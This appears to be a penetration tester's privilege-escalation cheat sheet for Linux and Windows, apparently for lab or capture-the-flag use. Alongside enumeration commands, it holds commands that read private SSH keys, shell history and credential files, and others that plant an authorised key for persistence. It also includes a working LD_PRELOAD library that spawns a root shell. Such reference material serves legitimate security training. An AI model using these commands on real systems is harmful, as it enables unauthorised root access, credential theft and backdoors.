Privilege Escalation

Enumeration Scripts

• LinEnum

• Linuxprivchecker

• Seatbelt

• JAWS

• PEASS-ng

Techniques

Kernel Exploits

You can google known kernel exploits.

Vulnerable Software

List packages (Linux)

dpkg -l

List installed software (Windows)

dir C:\Program Files

User Privileges

Sudo

sudo -l

SUID

find / -perm /4000 2>/dev/null

SGID

find / -perm /2000 2>/dev/null

SUID / SGID

find / -perm /6000 2>/dev/null

Windows Token Privileges

whoami /priv

whoami /all

Scheduled Tasks

Crontab directories

/etc/crontab
/etc/cron.d
/var/spool/cron/crontabs/root

List crontab

crontab -l

Edit a crontab

crontab -e

Exposed Credentials

History

cat ~/.bash_history

Configuration files

cat /var/www/html/config.php

SSH Keys

Get private SSH Key

cat /home/qu35t/.ssh/id_rsa

Generate SSH Key

ssh-keygen -t ed25519 -f qu35t

Add an authorised key

echo -n 'PUBLIC SSH KEY' > /home/qu35t/.ssh/authorized_keys

chmod 600 /home/qu35t/.ssh/authorized_keys

SSH with private SSH key

ssh -i qu35t qu35t@10.10.10.10

LD_PRELOAD

Program

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

Compile

gcc -fPIC -shared -nostartfiles -o ./load.so ./ld.c

Load the library

sudo LD_PRELOAD=/dev/shm/load.so /opt/script.sh

Windows

Unattended Windows Installations

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

Powershell History

%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Saved Windows Credentials

cmdkey /list

runas /savecred /user:admin cmd.exe

IIS Configuration

C:\inetpub\wwwroot\web.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Scheduled Tasks

schtasks /query /tn vulntask /fo list /v

icacls c:\tasks\schtask.bat

List Services

HKLM\SYSTEM\CurrentControlSet\Services\

sc qc apphostsvc

References

• GTFOBins

• LOLBAS